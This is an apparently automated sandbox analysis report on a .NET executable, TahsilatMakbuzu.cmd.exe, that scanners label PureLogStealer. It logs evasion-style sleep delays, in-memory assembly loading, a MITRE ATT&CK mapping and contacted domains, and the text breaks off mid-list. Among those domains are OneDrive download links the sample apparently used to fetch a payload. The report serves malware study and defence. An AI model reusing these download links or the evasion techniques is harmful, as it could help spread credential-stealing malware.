Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: TahsilatMakbuzu.cmd.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: TahsilatMakbuzu.cmd.exe, -.cs	.Net Code: _E009 System.Reflection.Assembly.Load(byte[])
Source: TahsilatMakbuzu.cmd.exe, Program.cs	.Net Code: _E001 System.AppDomain.Load(byte[])

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Memory allocated: 2B90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Memory allocated: 2CB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Memory allocated: 4CB0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 597176			Jump to behavior

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Window / User API: threadDelayed 1668			Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Window / User API: threadDelayed 8167			Jump to behavior

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 1836	Thread sleep count: 1668 > 30	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 1836	Thread sleep count: 8167 > 30	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -99542s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -198874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -198656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -99195s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -99093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98764s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98538s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -97890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -97781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -97672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -97562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -97453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -97344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -97219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -97109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -97000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -96890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -96765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -96656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -96547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -96437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -96327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -597176s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -99869s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -99546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -99218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe TID: 5164	Thread sleep time: -98559s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 99542	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 99195	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 99093	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98984	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98874	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98764	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98656	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98538	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98437	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98328	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98219	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98109	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98000	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 97890	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 97781	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 97672	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 97562	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 97453	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 97344	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 97219	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 97109	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 97000	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 96890	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 96765	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 96656	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 96547	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 96437	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 96327	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 597176	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 99869	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 99546	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 99218	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98671	Jump to behavior
Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe	Thread delayed: delay time: 98559	Jump to behavior

Source: TahsilatMakbuzu.cmd.exe, 00000000.00000002.4534550086.00000000011D4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllN

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Queries volume information: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
TahsilatMakbuzu.cmd.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.PureLogStealer
TahsilatMakbuzu.cmd.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://1drv.ms/u/s	0%	Avira URL Cloud	safe
http://onedrive.live.com	0%	Avira URL Cloud	safe
https://1drv.msD	0%	Avira URL Cloud	safe
http://requirejs.org/docs/errors.html#	0%	Avira URL Cloud	safe
https://onedrive.liv	0%	Avira URL Cloud	safe
http://onedrive.live.comd	0%	Avira URL Cloud	safe
https://onedrive.live.com	0%	Avira URL Cloud	safe
https://onedrive.live.comD	0%	Avira URL Cloud	safe
https://skyapi.onedrive.live.com	0%	Avira URL Cloud	safe
https://onedrive.live.com/_forms/default.aspx	0%	Avira URL Cloud	safe
https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD	0%	Avira URL Cloud	safe
https://1drv.ms/u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1	0%	Avira URL Cloud	safe
https://onedrive.live.com/_forms/default.aspx?ReturnUrl=%2F%3Fid%3DBF2B7C0838B5E1BD%21116%26resid%3D	0%	Avira URL Cloud	safe
https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ	0%	Avira URL Cloud	safe
https://onedrive.live.com/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd	0%	Avira URL Cloud	safe
http://1drv.ms	0%	Avira URL Cloud	safe
https://onedrive.live.com/?id=BF2B7C0838B5E1BD	0%	Avira URL Cloud	safe
http://1drv.msP	0%	Avira URL Cloud	safe
https://1drv.ms	0%	Avira URL Cloud	safe
https://spoprod-a.akamaihd.net/files/odsp-common-library-prod_2019-02-15_20190219.002/require.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
dual-spov-0006.spov-msedge.net	13.107.139.11	true	false	unknown
1drv.ms	13.107.42.12	true	false	unknown
onedrive.live.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://1drv.ms/u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1	false	Avira URL Cloud: safe	unknown
https://onedrive.live.com/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd	false	Avira URL Cloud: safe	unknown
https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://onedrive.live.com	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031AB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031CF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000326C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031DF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://onedrive.live.comd	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031AB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031CF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000326C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031DF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000307B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://onedrive.live.comD	TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002FBB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031AB000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000319D000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F2F000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000002F97000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.0000000003095000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.000000000326C000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 00000000.00000002.4536787060.00000000031DF000.00000004.00000800.00020000.00000000.sdmp, TahsilatMakbuzu.cmd.exe, 